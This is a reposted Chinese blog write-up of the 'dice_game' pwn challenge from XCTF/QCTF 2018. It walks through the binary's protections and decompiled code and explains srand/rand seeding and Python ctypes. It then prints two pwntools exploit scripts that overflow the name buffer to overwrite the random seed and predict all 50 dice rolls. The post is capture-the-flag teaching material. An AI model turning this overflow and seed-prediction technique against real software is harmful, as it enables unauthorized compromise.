当前位置:主页 > 查看内容

dice_game攻防世界进阶区

发布时间:2021-06-07 00:00| 位朋友查看

简介:dice_game XCTF 4th-QCTF-2018 前言不得不说虽然是个简单题但是还是要记录一下来让自己记住这些东西。 考察的知识点是 1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。 2.关于srand函数中种子的介绍。 3.一些平时没有见过的杂项 保证我写的很详细……

dice_game

XCTF 4th-QCTF-2018
前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。
考察的知识点是:
1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。
2.关于srand函数中种子的介绍。
3.一些平时没有见过的杂项
保证我写的很详细,因为我也是个菜鸡

----第一步查看保护喽

在这里插入图片描述
第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷

----第二步ida看看

在这里插入图片描述
main函数这里要说的呢
1.这里设置了种子,并且应该注意地址在rbp-10h
2.这里v6是read函数的返回值,返回数值呢
3.注意看什么时候设置截止符’\x00’
在这里插入图片描述
函数名字以及备注是我看错的地方,我以为这个函数是爆破点的,另外我就把这个函数里面其他的东西解释解释吧:
%hd是读入短整型整数,与long int 相对
_assert_fail,assert是宏,这是设置一个出现错误时候应该输出的,我一开始以为这个东西是值得爆破的地方呢。
在这里插入图片描述

负责输出的函数,那么我这里记录一下我的思路:
1.可以直接修改v8的数值到50,直接获得flag
2.每次把v2直接暴露出来赋值给v1
3.负责破坏跳转直接跳转到暴露的地方。

那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。


seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。
那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。
保证我们每次猜,每次对。


另外想要解释的是:ctypes这个py库
说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)
https://www.cnblogs.com/gaowengang/p/7919219.html

ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。
加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:
cdll.LoadLibrary()

-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")

这里要使用就这个样子了.
所以我就先贴上exp了。

from pwn import *

from ctypes import *

p=process('./dice_game')


libc=cdll.LoadLibrary("libc.so.6")

payload= 'a'*0x40+p64(0)

p.recvuntil("Welcome, let me know your name: ")

p.sendline(payload)
a=[]
for i in range(50):
	a.append(str(libc.rand()%6+1))
print a
for i in a:
	p.recv()
	p.sendline(i)
p.interactive()

这里exp写了两种

from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
	a=str(libc.rand()%6+1)
	p.recvuntil("Give me the point(1~6): ")
	p.sendline(a)
p.interactive()

大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)

我先介绍一下这里exp吧
都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。

这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。

对于第二个exp,这里还是使用了libc.srand(0)因此比第一种更好点。

------------------麦林pwn手
如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。
在这里插入图片描述

;原文链接:https://blog.csdn.net/shanwei274/article/details/115585916
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐